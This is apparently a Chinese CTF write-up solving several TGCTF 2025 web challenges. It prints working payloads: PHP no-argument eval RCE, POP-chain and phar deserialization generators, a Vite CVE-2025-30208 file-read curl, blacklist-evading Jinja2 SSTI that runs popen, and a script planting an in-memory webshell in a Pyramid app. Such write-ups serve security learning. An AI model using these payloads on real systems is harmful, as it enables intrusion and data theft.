AAA偷渡阴平
这个题是一个非预期的无参RCE
php
<?php
$tgctf2025=$_GET['tgctf2025'];
if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}
highlight_file(__FILE__);
这里只给了数字2
,所有的字母,和一些符号 ,这里貌似是过滤了()
,但是仔细看的话可以发现这里的括号其实是中文,也就是等于没有过滤。
先说下无参RCE
的打法。
http
http://node1.tgctf.woooo.tech:31293/?tgctf2025=var_dump(getallheaders());

http
http://node1.tgctf.woooo.tech:31293/?tgctf2025=var_dump(next(getallheaders()));
这里通过next
获得Pragma
这个参数,这个参数是我们可以控制的。

这样在外边在套上一层eval
就可以了

什么文件上传

开题一个文件上传点,尝试之后发无论上传什么内容都会报错,无法成功上传。
爆破一下路径发现robots.txt

这里重点看一下class.php
看到源代码
php
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}
}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64_decode($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>
一个简单的pop
链子,整体的利用是:
http
yesterday -> __destruct
today -> __call
tommoraw -> toString 之后触发危险函数
这里的一个点是md5()
处理一个对象的时候,会首先调用这个对象的toString
但是这里要注意一下参数的处理,接收到参数之后,多次进行base64
解码,然后截取到倒数第四个字符,所以我们构造poc
的时候,要预先多次base64
编码,然后拼接上4
个多余的字符。
php
<?php
function best64_encode($str)
{
return base64_encode(base64_encode(base64_encode(base64_encode(base64_encode($str)))));
}
class future{
}
class today {
public $doing;
public function __construct() {
$this->doing = new future();
}
}
class yesterday {
public $learn;
public $study;
public $try;
public function __construct() {
$this->study = new today();
}
}
$a=new yesterday();
echo best64_encode(serialize($a))."1234";

前端GAME

简单玩一下游戏,直接结束掉,发现提示要读取/tgflagggg
下的flag
这里后边看了下js
代码,发现只要分数高于17
就会有这个提示,显然这个题的考点不在这个题目的分数上,然后考虑怎么读取flag
,直接访问肯定是访问不到的,这时候看下题目的代码依赖。

发现了这里的vite
想起这里是有一个任意文件读取的漏洞的,简单搜索一下得到CVE-2025-30208
根据文章当中的
http
curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
构造我们这个题的poc
http
curl "http://node2.tgctf.woooo.tech:30758/@fs/tgflagggg?import&raw??"

火眼辩魑魅
这个题,好像又是被我非掉了
还是找到了这里的robots.txt

这里每个php
文件对应一个考察点,但是题目说只有一个洞是可行的,那么就挨个看一下

第一个文件上传,我当时做的时候,反正是没有任何权限,直接放弃这个点

这里直接给了源代码,并且直接eval
考虑利用一下 。直接打是存在过滤的,应该是过滤掉了各种危险函数,但是这里可以拼接绕过一下。
php
shell=$a="syst"."em";$a('cat /tgfffffllllaagggggg');

之后找出题人聊了一下

发现是非预期,于是继续看下其他的点

预期解是这里的ssti
,就不复现了

这个是反序列化的pop
链,最后Sink
是php原生类
,但是这里黑名单太多了,目测没法打。
直面天命
该说不说这个题属于有点套了

不懂是啥

源码当中发现/hint
路由

这里没办法只能是多线程爆破一下,这里可以让GPT
写个脚本,多线程还是很快的,这里找到了aazz

提示说这个页面可以传参数,这里有点谜语人,手动fuzz
几个常见的参数最后发现是filename
,并且这里存在任意文件读取的问题。

然后尝试读取源代码
http
http://node2.tgctf.woooo.tech:30666/aazz?filename=app.py

python
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key
app = Flask(__name__)
black_list=['{','}','popen','os','import','eval','_','system','read','base','globals']
def waf(name):
for x in black_list:
if x in name.lower():
return True
return Falsedef is_typable(char):
# 定义可通过标准 QWERTY 键盘输入的字符集
typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
return char in typable_chars
@app.route('/')
def home():
return send_from_directory('static', 'index.html')
@app.route('/jingu', methods=['POST'])
def greet():
template1=""
template2=""
name = request.form.get('name')
template = f'{name}'
if waf(name):
template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹<br><img src="{{ url_for("static", filename="3.jpeg") }}" alt="Image">'
else:
k=0
for i in name:
if is_typable(i):
continue
k=1
break
if k==1:
if not (secret_key[:2] in name and secret_key[2:]):
template = '连"六根"都凑不齐,谈什么天命不天命的,还是戴上这金箍吧<br><br>再去西行历练历练<br><br><img src="{{ url_for("static", filename="4.jpeg") }}" alt="Image">'
return render_template_string(template)
template1 = ""六根"也凑齐了,你已经可以直面天命了!我帮你把"secret_key"替换为了"{{}}"<br>最后,如果你用了cat,就可以见到齐天大圣了<br>"
template= template.replace("直面","{{").replace("天命","}}")
template = template
if "cat" in template:
template2 = '<br>或许你这只叫天命人的猴子,真的能做到?<br><br><img src="{{ url_for("static", filename="2.jpeg") }}" alt="Image">'
try:
return template1+render_template_string(template)+render_template_string(template2)
except Exception as e:
error_message = f"500报错了,查询语句如下:<br>{template}"
return error_message, 400
@app.route('/hint', methods=['GET'])
def hinter():
template="hint:<br>有一个由4个小写英文字母组成的路由,去那里看看吧,天命人!"
return render_template_string(template)
@app.route('/aazz', methods=['GET'])
def finder():
filename = request.args.get('filename', '')
if filename == "":
return send_from_directory('static', 'file.html')
if not filename.replace('_', '').isalnum():
content = jsonify({'error': '只允许字母和数字!'}), 400
if os.path.isfile(filename):
try:
with open(filename, 'r') as file:
content = file.read()
return content
except Exception as e:
return jsonify({'error': str(e)}), 500
else:
return jsonify({'error': '路径不存在或者路径非法'}), 404
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

重点在这个路由,但是这里过滤掉了{``{}}
,但是后边的处理是替换成了直面
和天命
,就是ssti
的那些poc
在这里把{``{}}
替换成直面天命
就行,再次看下黑名单。
python
black_list=['{','}','popen','os','import','eval','_','system','read','base','globals']
这些地方都是可以通过拼接实现绕过的,拿出珍藏的poc
在这里改一下
python
直面lipsum|attr("\u005f\u005fglo"+"bals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("o"+"s")|attr("po"+"pen")("env")|attr("re"+"ad")()天命
这里poc
应该是很多的,但是这里有这样的替换,无法直接使用fenjing
进行。
python
直面lipsum|attr("\u005f\u005fglo"+"bals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("o"+"s")|attr("po"+"pen")("tac /f*")|attr("re"+"ad")()天命

熟悉的配方,熟悉的味道
python
from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoader
eval_globals = { #防止eval执行恶意代码
'__builtins__': {}, # 禁用所有内置函数
'__import__': None # 禁止动态导入
}
def checkExpr(expr_input):
expr = re.split(r"[-+*/]", expr_input)
print(exec(expr_input))
if len(expr) != 2:
return 0
try:
int(expr[0])
int(expr[1])
except:
return 0
return 1
def home_view(request):
expr_input = ""
result = ""
if request.method == 'POST':
expr_input = request.POST['expr']
if checkExpr(expr_input):
try:
result = eval(expr_input, eval_globals)
except Exception as e:
result = e
else:
result = "爬!"
template_str = 【xxx】
env = Environment(loader=BaseLoader())
template = env.from_string(template_str)
rendered = template.render(expr_input=expr_input, result=result)
return Response(rendered)
if __name__ == '__main__':
with Configurator() as config:
config.add_route('home_view', '/')
config.add_view(home_view, route_name='home_view')
app = config.make_wsgi_app()
server = make_server('0.0.0.0', 9040, app)
server.serve_forever()
这里输入expr
,会首先进到checkExpr
这个方法当中,仔细看一下这里
python
def checkExpr(expr_input):
expr = re.split(r"[-+*/]", expr_input)
print(exec(expr_input))
if len(expr) != 2:
return 0
try:
int(expr[0])
int(expr[1])
except:
return 0
return 1
首先根据四则运算符进行分割,然后直接进行exec
,所以这里存在命令执行,但是无法直接拿到回显,并且不出网,那么就是经典的内存马利用环节了。
python
import requests
code='''
def waff():
def f(): yield g.gi_frame.f_back
g = f() frame = next(g)
b = frame.f_back.f_back.f_globals
def hello(request): code = request.POST['code'] res=eval(code) return Response(res)
config.add_route('shellb', '/shellb') config.add_view(hello, route_name='shellb') config.commit()
waff()
'''
url=""
#url="http://127.0.0.1:9040/"
data={
"expr":f"{code}+1"
}
r=requests.post(url=url,data=data)
借助这个脚本写入内存马,之后访问一下直接rce

TG_wordpress
最幽默的一题,没去打,根据描述找了下常见的CVE
TGCTF{CVE-2020-25213}
什么文件上传?(复仇
对之前的非预期做了修复
php
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_encode(md5(base64_encode(md5($str))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}
}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>
这里主要重写了best64_decode
函数,导致我们无法控制这里的filename
触发反序列化,但是根据file_exists
和文件上传点,考虑phar
反序列化。
现在的问题是,如何上传文件呢。

根据这里的提示,允许的后缀名是三个小写字母,还是需要进行爆破,这里爆出来的后缀是atg
php
<?php
function best64_encode($str)
{
return base64_encode(base64_encode(base64_encode(base64_encode(base64_encode($str)))));
}
class future{
}
class today {
public $doing;
public function __construct() {
$this->doing = new future();
}
}
class yesterday {
public $learn;
public $study;
public $try;
public function __construct() {
$this->study = new today();
}
}
$a=new yesterday();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
稍微修改下之前的poc
,生成一个phar
文件,然后上传,之后借助phar
协议读取这个文件 触发反序列化。

AAA偷渡阴平(复仇)
php
<?php
$tgctf2025=$_GET['tgctf2025'];
if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}
highlight_file(__FILE__);
这里修复了这些无参rce
可以利用的函数,这里卡了很久,最终找到
http
http://node2.tgctf.woooo.tech:31109/?tgctf2025=session_start();system(hex2bin(session_id());

天命复仇
这里把waf
拿出来在本地搭建一下,然后丢到fenjing
当中直接能跑出来
python
import requests
url="http://node1.tgctf.woooo.tech:31535/jingu"
poc="""天命((joiner["\\x5f\\x5f\\x69\\x6e\\x69\\x74\\x5f\\x5f"]["\\x5f\\x5f\\x67\\x6c\\x6f\\x62\\x61\\x6c\\x73\\x5f\\x5f"]["\\x5f\\x5f\\x62\\x75\\x69\\x6c\\x74\\x69\\x6e\\x73\\x5f\\x5f"]["\\x5f\\x5f\\x69\\x6d\\x70\\x6f\\x72\\x74\\x5f\\x5f"]('o''s'))['p''open']('cat /tg*'))['r''ead']()难违"""
data={
"name": poc
}
r=requests.post(url=url,data=data)
print(r.text)